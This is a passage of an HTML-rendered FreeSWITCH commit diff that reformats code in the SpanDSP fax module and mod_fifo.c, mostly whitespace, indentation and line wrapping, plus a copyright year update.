</span><span class="cx"> /*
</span><span class="cx">  * Called at the end of the document
</span><span class="cx">  */
</span><del>-static void phase_e_handler(t30_state_t * s, void *user_data, int result)
</del><ins>+static void phase_e_handler(t30_state_t *s, void *user_data, int result)
</ins><span class="cx"> {
</span><span class="cx">         t30_stats_t t;
</span><span class="cx">         const char *local_ident;
</span><span class="lines">@@ -153,7 +153,7 @@
</span><span class="cx"> 
</span><span class="cx">         pvt = (pvt_t *) user_data;
</span><span class="cx">         switch_assert(pvt);
</span><del>-        
</del><ins>+
</ins><span class="cx">         session = pvt-&gt;session;
</span><span class="cx">         switch_assert(session);
</span><span class="cx"> 
</span><span class="lines">@@ -184,8 +184,8 @@
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Remote station id: %s\n&quot;, far_ident);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Local station id:  %s\n&quot;, local_ident);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Pages transferred: %i\n&quot;, 
-                pvt-&gt;app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Pages transferred: %i\n&quot;,
+                                          pvt-&gt;app_mode == FUNCTION_TX ? t.pages_rx : t.pages_rx);
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Total fax pages:   %i\n&quot;, t.pages_in_file);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Image resolution:  %ix%i\n&quot;, t.x_resolution, t.y_resolution);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Transfer Rate:     %i\n&quot;, t.bit_rate);
</span><span class="lines">@@ -195,11 +195,12 @@
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;remote vendor:    %s\n&quot;, switch_str_nil(t30_get_rx_vendor(s)));
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;remote model:     %s\n&quot;, switch_str_nil(t30_get_rx_model(s)));
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;==============================================================================\n&quot;);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                          &quot;==============================================================================\n&quot;);
</ins><span class="cx"> 
</span><span class="cx">         /*
</span><del>-        Set our channel variables
-        */
</del><ins>+           Set our channel variables
+         */
</ins><span class="cx"> 
</span><span class="cx">         tmp = switch_mprintf(&quot;%i&quot;, result);
</span><span class="cx">         if (tmp) {
</span><span class="lines">@@ -250,15 +251,15 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* switch_channel_hangup(channel, SWITCH_CAUSE_NORMAL_CLEARING); */
</span><del>-        
</del><ins>+
</ins><span class="cx">         pvt-&gt;done = 1;
</span><span class="cx"> 
</span><span class="cx">         /*
</span><del>-        TODO Fire events
-        */
</del><ins>+           TODO Fire events
+         */
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t spanfax_init(pvt_t * pvt, transport_mode_t trans_mode)
</del><ins>+static switch_status_t spanfax_init(pvt_t *pvt, transport_mode_t trans_mode)
</ins><span class="cx"> {
</span><span class="cx"> 
</span><span class="cx">         switch_core_session_t *session;
</span><span class="lines">@@ -342,7 +343,7 @@
</span><span class="cx">                    Here goes the T.38 SpanDSP initializing functions 
</span><span class="cx">                    T.38 will require a big effort as it needs a different approach
</span><span class="cx">                    but the pieces are already in place
</span><del>-                */
</del><ins>+                 */
</ins><span class="cx">         default:
</span><span class="cx">                 assert(0);                                /* Whaaat ? */
</span><span class="cx">                 break;
</span><span class="lines">@@ -351,7 +352,7 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t spanfax_destroy(pvt_t * pvt)
</del><ins>+static switch_status_t spanfax_destroy(pvt_t *pvt)
</ins><span class="cx"> {
</span><span class="cx">         int terminate;
</span><span class="cx">         t30_state_t *t30;
</span><span class="lines">@@ -403,9 +404,9 @@
</span><span class="cx">         switch_codec_t write_codec = { 0 };
</span><span class="cx">         switch_frame_t *read_frame = { 0 };
</span><span class="cx">         switch_frame_t write_frame = { 0 };
</span><del>-    switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         int16_t *buf = NULL;
</span><del>-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         /* make sure we have a valid channel when starting the FAX application */
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="lines">@@ -414,7 +415,7 @@
</span><span class="cx">         if (!switch_channel_media_ready(channel)) {
</span><span class="cx">                 switch_channel_answer(channel);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Allocate our structs */
</span><span class="cx">         pvt = switch_core_session_alloc(session, sizeof(pvt_t));
</span><span class="cx"> 
</span><span class="lines">@@ -468,8 +469,8 @@
</span><span class="cx">                 pvt-&gt;verbose = globals.verbose;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if ( (tmp=switch_channel_get_variable(channel, &quot;fax_force_caller&quot;)) ) {
-                if ( switch_true(tmp) ) {
</del><ins>+        if ((tmp = switch_channel_get_variable(channel, &quot;fax_force_caller&quot;))) {
+                if (switch_true(tmp)) {
</ins><span class="cx">                         pvt-&gt;caller = 1;
</span><span class="cx">                 } else {
</span><span class="cx">                         pvt-&gt;caller = 0;
</span><span class="lines">@@ -515,7 +516,8 @@
</span><span class="cx">                 pvt-&gt;filename = switch_core_session_strdup(session, data);
</span><span class="cx">                 if (pvt-&gt;app_mode == FUNCTION_TX) {
</span><span class="cx">                         if ((switch_file_exists(pvt-&gt;filename, switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot send inexistant fax file [%s]\n&quot;, switch_str_nil(pvt-&gt;filename));
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot send inexistant fax file [%s]\n&quot;,
+                                                                  switch_str_nil(pvt-&gt;filename));
</ins><span class="cx">                                 goto done;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -548,12 +550,12 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /*
</span><del>-        *** Initialize the SpanDSP elements ***
</del><ins>+         *** Initialize the SpanDSP elements ***
</ins><span class="cx"> 
</span><del>-        Note: we could analyze if a fax was already detected in previous stages
-        and if so, when T.38 will be supported, send a reinvite in T38_MODE,
-        bypassing AUDIO_MODE.
-        */
</del><ins>+         Note: we could analyze if a fax was already detected in previous stages
+         and if so, when T.38 will be supported, send a reinvite in T38_MODE,
+         bypassing AUDIO_MODE.
+         */
</ins><span class="cx"> 
</span><span class="cx">         if ((spanfax_init(pvt, AUDIO_MODE) != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot initialize Fax engine\n&quot;);
</span><span class="lines">@@ -563,14 +565,14 @@
</span><span class="cx">         /* 
</span><span class="cx">            Note: Disable echocan on the channel, remember to call app &quot;disable_ec&quot; in the dialplan
</span><span class="cx">            before invoking fax applications
</span><del>-        */
</del><ins>+         */
</ins><span class="cx"> 
</span><span class="cx">         /*
</span><del>-        Note: we are disabling the Jitterbuffer, here, before we answer.
-        If you have set it to something else and the channel is pre-answered,
-        it will have no effect. Make sure that if you want more reliable
-        faxes, it is disabled.
-        */
</del><ins>+           Note: we are disabling the Jitterbuffer, here, before we answer.
+           If you have set it to something else and the channel is pre-answered,
+           it will have no effect. Make sure that if you want more reliable
+           faxes, it is disabled.
+         */
</ins><span class="cx">         switch_channel_set_variable(channel, &quot;jitterbuffer_msec&quot;, &quot;0&quot;);
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -614,7 +616,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_ivr_sleep(session, 250, SWITCH_TRUE, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (switch_channel_ready(channel)) {
</span><span class="cx">                 int tx = 0;
</span><span class="cx">                 switch_status_t status;
</span><span class="lines">@@ -628,7 +630,7 @@
</span><span class="cx">                    - call t38_terminal_send_timeout(), sleep for a while
</span><span class="cx"> 
</span><span class="cx">                    The T.38 stuff can be placed here (and the audio stuff can be skipped)
</span><del>-                */
</del><ins>+                 */
</ins><span class="cx"> 
</span><span class="cx">                 /* read new audio frame from the channel */
</span><span class="cx">                 status = switch_core_session_read_frame(session, &amp;read_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="lines">@@ -640,7 +642,7 @@
</span><span class="cx"> 
</span><span class="cx">                 /* Skip CNG frames (auto-generated by FreeSWITCH, usually) */
</span><span class="cx">                 if (!switch_test_flag(read_frame, SFF_CNG)) {
</span><del>-                /* pass the new incoming audio frame to the fax_rx function */
</del><ins>+                        /* pass the new incoming audio frame to the fax_rx function */
</ins><span class="cx">                         if (fax_rx(pvt-&gt;fax_state, (int16_t *) read_frame-&gt;data, read_frame-&gt;samples)) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;fax_rx reported an error\n&quot;);
</span><span class="cx">                                 goto done;
</span><span class="lines">@@ -670,13 +672,13 @@
</span><span class="cx"> 
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx">         /* Destroy the SpanDSP structures */
</span><span class="cx">         spanfax_destroy(pvt);
</span><span class="cx"> 
</span><span class="cx">         /* restore the original codecs over the channel */
</span><span class="cx"> 
</span><del>-    switch_core_session_set_read_codec(session, NULL);
</del><ins>+        switch_core_session_set_read_codec(session, NULL);
</ins><span class="cx"> 
</span><span class="cx">         if (switch_core_codec_ready(&amp;read_codec)) {
</span><span class="cx">                 switch_core_codec_destroy(&amp;read_codec);
</span><span class="lines">@@ -782,8 +784,10 @@
</span><span class="cx"> 
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;rxfax&quot;, &quot;FAX Receive Application&quot;, &quot;FAX Receive Application&quot;, spanfax_rx_function, SPANFAX_RX_USAGE, SAF_SUPPORT_NOMEDIA);
-        SWITCH_ADD_APP(app_interface, &quot;txfax&quot;, &quot;FAX Transmit Application&quot;, &quot;FAX Transmit Application&quot;, spanfax_tx_function, SPANFAX_TX_USAGE, SAF_SUPPORT_NOMEDIA);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;rxfax&quot;, &quot;FAX Receive Application&quot;, &quot;FAX Receive Application&quot;, spanfax_rx_function, SPANFAX_RX_USAGE,
+                                   SAF_SUPPORT_NOMEDIA);
+        SWITCH_ADD_APP(app_interface, &quot;txfax&quot;, &quot;FAX Transmit Application&quot;, &quot;FAX Transmit Application&quot;, spanfax_tx_function, SPANFAX_TX_USAGE,
+                                   SAF_SUPPORT_NOMEDIA);
</ins><span class="cx"> 
</span><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><span class="cx">         switch_core_new_memory_pool(&amp;globals.pool);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_fifomod_fifoc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_fifo/mod_fifo.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_fifo/mod_fifo.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_fifo/mod_fifo.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -90,11 +90,10 @@
</span><span class="cx">                         const char *consumer_exit_key = switch_channel_get_variable(channel, &quot;fifo_consumer_exit_key&quot;);
</span><span class="cx"> 
</span><span class="cx">                         if (switch_channel_test_flag(switch_core_session_get_channel(session), CF_BRIDGE_ORIGINATOR)) {
</span><del>-                                if ( consumer_exit_key &amp;&amp; dtmf-&gt;digit == *consumer_exit_key ) {
</del><ins>+                                if (consumer_exit_key &amp;&amp; dtmf-&gt;digit == *consumer_exit_key) {
</ins><span class="cx">                                         switch_channel_hangup(bchan, SWITCH_CAUSE_NORMAL_CLEARING);
</span><span class="cx">                                         return SWITCH_STATUS_BREAK;
</span><del>-                                }
-                                else if ( !consumer_exit_key &amp;&amp; dtmf-&gt;digit == '*' ) {
</del><ins>+                                } else if (!consumer_exit_key &amp;&amp; dtmf-&gt;digit == '*') {
</ins><span class="cx">                                         switch_channel_hangup(bchan, SWITCH_CAUSE_NORMAL_CLEARING);
</span><span class="cx">                                         return SWITCH_STATUS_BREAK;
</span><span class="cx">                                 } else if (dtmf-&gt;digit == '0') {
</span><span class="lines">@@ -228,8 +227,8 @@
</span><span class="cx">                         args.buflen = sizeof(buf);
</span><span class="cx"> 
</span><span class="cx">                         if (switch_ivr_play_file(session, NULL, cd-&gt;list[cd-&gt;index], &amp;args) != SWITCH_STATUS_SUCCESS) {
</span><del>-                return SWITCH_STATUS_FALSE;
-            }
</del><ins>+                                return SWITCH_STATUS_FALSE;
+                        }
</ins><span class="cx"> 
</span><span class="cx">                         if (caller_exit_key &amp;&amp; *buf == *caller_exit_key) {
</span><span class="cx">                                 cd-&gt;abort = 1;
</span><span class="lines">@@ -250,8 +249,8 @@
</span><span class="cx"> {
</span><span class="cx">         fifo_node_t *node, **node_list = (fifo_node_t **) user_data;
</span><span class="cx">         int x = 0, total = 0, i = 0;
</span><del>-        
-        for (i = 0 ;; i++) {
</del><ins>+
+        for (i = 0;; i++) {
</ins><span class="cx">                 if (!(node = node_list[i])) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -288,17 +287,19 @@
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(globals.odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = globals.odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = globals.odbc_user;
</span><span class="cx">                 options.odbc_options.pass = globals.odbc_pass;
</span><span class="cx"> 
</span><del>-                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_ODBC, &amp;options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         } else {
</span><span class="cx">                 options.core_db_options.db_path = globals.dbname;
</span><del>-                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_CORE_DB, &amp;options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&amp;dbh, SCDB_TYPE_CORE_DB, &amp;options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">                 return dbh;
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -321,7 +322,7 @@
</span><span class="cx">         status = switch_cache_db_execute_sql(dbh, sql, NULL);
</span><span class="cx"> 
</span><span class="cx">   end:
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&amp;dbh);
</span><span class="cx"> 
</span><span class="cx">         if (mutex) {
</span><span class="lines">@@ -336,16 +337,16 @@
</span><span class="cx">         switch_bool_t ret = SWITCH_FALSE;
</span><span class="cx">         char *errmsg = NULL;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (mutex) {
</span><span class="cx">                 switch_mutex_lock(mutex);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!(dbh = fifo_get_db_handle())) {
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Opening DB\n&quot;);
-        goto end;
-    }
-        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Opening DB\n&quot;);
+                goto end;
+        }
+
</ins><span class="cx">         switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &amp;errmsg);
</span><span class="cx"> 
</span><span class="cx">         if (errmsg) {
</span><span class="lines">@@ -429,7 +430,7 @@
</span><span class="cx">         switch_mutex_unlock(node-&gt;mutex);
</span><span class="cx"> 
</span><span class="cx">         return total;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t hanguphook(switch_core_session_t *session)
</span><span class="lines">@@ -441,9 +442,10 @@
</span><span class="cx"> 
</span><span class="cx">         if (state == CS_HANGUP || state == CS_ROUTING) {
</span><span class="cx">                 if ((uuid = switch_channel_get_variable(channel, &quot;fifo_outbound_uuid&quot;))) {
</span><del>-                        switch_snprintf(sql, sizeof(sql), &quot;update fifo_outbound set use_count=use_count-1, outbound_call_count=outbound_call_count+1, next_avail=%ld + lag where uuid='%s'&quot;, 
-                                                        (long)switch_epoch_time_now(NULL), uuid);
-                                                        
</del><ins>+                        switch_snprintf(sql, sizeof(sql),
+                                                        &quot;update fifo_outbound set use_count=use_count-1, outbound_call_count=outbound_call_count+1, next_avail=%ld + lag where uuid='%s'&quot;,
+                                                        (long) switch_epoch_time_now(NULL), uuid);
+
</ins><span class="cx">                         fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="cx">                 }
</span><span class="cx">                 switch_core_event_hook_remove_state_change(session, hanguphook);
</span><span class="lines">@@ -476,7 +478,7 @@
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">         node = switch_core_hash_find(globals.fifo_hash, h-&gt;node_name);
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (node) {
</span><span class="cx">                 switch_mutex_lock(node-&gt;mutex);
</span><span class="cx">                 node-&gt;ring_consumer_count++;
</span><span class="lines">@@ -485,19 +487,21 @@
</span><span class="cx"> 
</span><span class="cx">         switch_snprintf(sql, sizeof(sql), &quot;update fifo_outbound set use_count=use_count+1 where uuid='%s'&quot;, h-&gt;uuid);
</span><span class="cx">         fifo_execute_sql(sql, globals.sql_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_create(&amp;ovars, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">         switch_assert(ovars);
</span><span class="cx">         switch_event_add_header(ovars, SWITCH_STACK_BOTTOM, &quot;originate_timeout&quot;, &quot;%d&quot;, h-&gt;timeout);
</span><del>-        
-        if (switch_ivr_originate(NULL, &amp;session, &amp;cause, h-&gt;originate_string, h-&gt;timeout, NULL, NULL, NULL, NULL, ovars, SOF_NONE, NULL) != SWITCH_STATUS_SUCCESS) {
-                switch_snprintf(sql, sizeof(sql), &quot;update fifo_outbound set use_count=use_count-1, outbound_fail_count=outbound_fail_count+1, next_avail=%ld + lag where uuid='%s'&quot;, 
-                                                (long)switch_epoch_time_now(NULL), h-&gt;uuid);
</del><ins>+
+        if (switch_ivr_originate(NULL, &amp;session, &amp;cause, h-&gt;originate_string, h-&gt;timeout, NULL, NULL, NULL, NULL, ovars, SOF_NONE, NULL) !=
+                SWITCH_STATUS_SUCCESS) {
+                switch_snprintf(sql, sizeof(sql),
+                                                &quot;update fifo_outbound set use_count=use_count-1, outbound_fail_count=outbound_fail_count+1, next_avail=%ld + lag where uuid='%s'&quot;,
+                                                (long) switch_epoch_time_now(NULL), h-&gt;uuid);
</ins><span class="cx">                 fifo_execute_sql(sql, globals.sql_mutex);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx"> 
</span><span class="cx">         if ((member_wait = switch_channel_get_variable(channel, &quot;fifo_member_wait&quot;)) || (member_wait = switch_channel_get_variable(channel, &quot;member_wait&quot;))) {
</span><span class="lines">@@ -521,7 +525,8 @@
</span><span class="cx">         switch_event_destroy(&amp;ovars);
</span><span class="cx">         if (node) {
</span><span class="cx">                 switch_mutex_lock(node-&gt;mutex);
</span><del>-                if (node-&gt;ring_consumer_count-- &lt; 0) node-&gt;ring_consumer_count = 0;
</del><ins>+                if (node-&gt;ring_consumer_count-- &lt; 0)
+                        node-&gt;ring_consumer_count = 0;
</ins><span class="cx">                 switch_mutex_unlock(node-&gt;mutex);
</span><span class="cx">         }
</span><span class="cx">         switch_core_destroy_memory_pool(&amp;h-&gt;pool);
</span><span class="lines">@@ -538,7 +543,7 @@
</span><span class="cx">         switch_threadattr_t *thd_attr = NULL;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         struct call_helper *h;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_new_memory_pool(&amp;pool);
</span><span class="cx">         h = switch_core_alloc(pool, sizeof(*h));
</span><span class="cx">         h-&gt;pool = pool;
</span><span class="lines">@@ -554,7 +559,7 @@
</span><span class="cx">         switch_thread_create(&amp;thread, thd_attr, o_thread_run, h, h-&gt;pool);
</span><span class="cx"> 
</span><span class="cx">         (*need)--;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return *need ? 0 : -1;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -576,10 +581,10 @@
</span><span class="cx"> static void *SWITCH_THREAD_FUNC node_thread_run(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><span class="cx">         fifo_node_t *node;
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.node_thread_running = 1;
</span><span class="cx"> 
</span><del>-        while(globals.node_thread_running == 1) {
</del><ins>+        while (globals.node_thread_running == 1) {
</ins><span class="cx">                 switch_hash_index_t *hi;
</span><span class="cx">                 void *val;
</span><span class="cx">                 const void *var;
</span><span class="lines">@@ -588,22 +593,22 @@
</span><span class="cx">                 switch_mutex_lock(globals.mutex);
</span><span class="cx">                 for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                         switch_hash_this(hi, &amp;var, NULL, &amp;val);
</span><del>-                        if ((node = (fifo_node_t *) val)) { 
-                        if (node-&gt;has_outbound &amp;&amp; node-&gt;ready) {
-                                switch_mutex_lock(node-&gt;mutex);
-                                ppl_waiting = node_consumer_wait_count(node);
-                                consumer_total = node-&gt;consumer_count;
-                                idle_consumers = node_idle_consumers(node);
</del><ins>+                        if ((node = (fifo_node_t *) val)) {
+                                if (node-&gt;has_outbound &amp;&amp; node-&gt;ready) {
+                                        switch_mutex_lock(node-&gt;mutex);
+                                        ppl_waiting = node_consumer_wait_count(node);
+                                        consumer_total = node-&gt;consumer_count;
+                                        idle_consumers = node_idle_consumers(node);
</ins><span class="cx"> 
</span><del>-                                /* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 
-                                &quot;%s waiting %d consumer_total %d idle_consumers %d ring_consumers %d\n&quot;, node-&gt;name, ppl_waiting, consumer_total, idle_consumers, node-&gt;ring_consumer_count); */
-                
-                                if ((ppl_waiting - node-&gt;ring_consumer_count &gt; 0)&amp;&amp; (!consumer_total || !idle_consumers)) {
-                                        find_consumers(node);
</del><ins>+                                        /* switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 
+                                           &quot;%s waiting %d consumer_total %d idle_consumers %d ring_consumers %d\n&quot;, node-&gt;name, ppl_waiting, consumer_total, idle_consumers, node-&gt;ring_consumer_count); */
+
+                                        if ((ppl_waiting - node-&gt;ring_consumer_count &gt; 0) &amp;&amp; (!consumer_total || !idle_consumers)) {
+                                                find_consumers(node);
+                                        }
+                                        switch_mutex_unlock(node-&gt;mutex);
</ins><span class="cx">                                 }
</span><del>-                                switch_mutex_unlock(node-&gt;mutex);
</del><span class="cx">                         }
</span><del>-                        }
</del><span class="cx">                 }
</span><span class="cx">                 switch_mutex_unlock(globals.mutex);
</span><span class="cx"> 
</span><span class="lines">@@ -611,7 +616,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         globals.node_thread_running = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return NULL;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -632,7 +637,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (globals.node_thread_running) {
</span><span class="cx">                 globals.node_thread_running = -1;
</span><del>-                while(globals.node_thread_running) {
</del><ins>+                while (globals.node_thread_running) {
</ins><span class="cx">                         switch_yield(500000);
</span><span class="cx">                         if (!--sanity) {
</span><span class="cx">                                 return -1;
</span><span class="lines">@@ -643,15 +648,15 @@
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void check_cancel(fifo_node_t *node) 
</del><ins>+static void check_cancel(fifo_node_t *node)
</ins><span class="cx"> {
</span><span class="cx">         int ppl_waiting = node_consumer_wait_count(node);
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (node-&gt;ring_consumer_count &gt; 0 &amp;&amp; ppl_waiting &lt; 1) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Outbound call count (%d) exceeds required value for queue %s (%d), &quot;
</span><span class="cx">                                                   &quot;Ending extraneous calls\n&quot;, node-&gt;ring_consumer_count, node-&gt;name, ppl_waiting);
</span><del>-                                                  
-                                                  
</del><ins>+
+
</ins><span class="cx">                 switch_core_session_hupall_matching_var(&quot;fifo_hangup_check&quot;, node-&gt;name, SWITCH_CAUSE_ORIGINATOR_CANCEL);
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -735,12 +740,12 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         str = switch_mprintf(&quot;dial:%s&quot;, url);
</span><span class="cx">         switch_queue_push(node-&gt;fifo_list[priority], (void *) str);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return switch_queue_size(node-&gt;fifo_list[priority]);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -769,16 +774,16 @@
</span><span class="cx"> 
</span><span class="cx">         stream-&gt;write_function(stream, &quot;%d&quot;, fifo_add_outbound(argv[0], argv[1], priority));
</span><span class="cx"> 
</span><del>-        
-        free(data);        
-        return SWITCH_STATUS_SUCCESS;        
</del><span class="cx"> 
</span><ins>+        free(data);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> 
</span><del>- fail:
</del><span class="cx"> 
</span><del>-        free(data);        
</del><ins>+  fail:
+
+        free(data);
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;0&quot;);
</span><del>-        return SWITCH_STATUS_SUCCESS;        
</del><ins>+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -868,7 +873,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(node = switch_core_hash_find(globals.fifo_hash, nlist[i]))) {
</span><span class="cx">                         node = create_node(nlist[i], importance, globals.sql_mutex);
</span><span class="cx">                         node-&gt;ready = 1;
</span><span class="lines">@@ -982,7 +987,7 @@
</span><span class="cx">                         switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;FIFO-Slot&quot;, &quot;%d&quot;, p);
</span><span class="cx">                         switch_event_fire(&amp;event);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_queue_push(node-&gt;fifo_list[p], (void *) strdup(uuid));
</span><span class="cx">                 switch_snprintf(tmp, sizeof(tmp), &quot;%d&quot;, switch_queue_size(node-&gt;fifo_list[p]));
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;fifo_position&quot;, tmp);
</span><span class="lines">@@ -1300,14 +1305,15 @@
</span><span class="cx">                                 switch_call_cause_t cause = SWITCH_CAUSE_NONE;
</span><span class="cx">                                 const char *o_announce = NULL;
</span><span class="cx">                                 url = uuid + 5;
</span><del>-                                
</del><ins>+
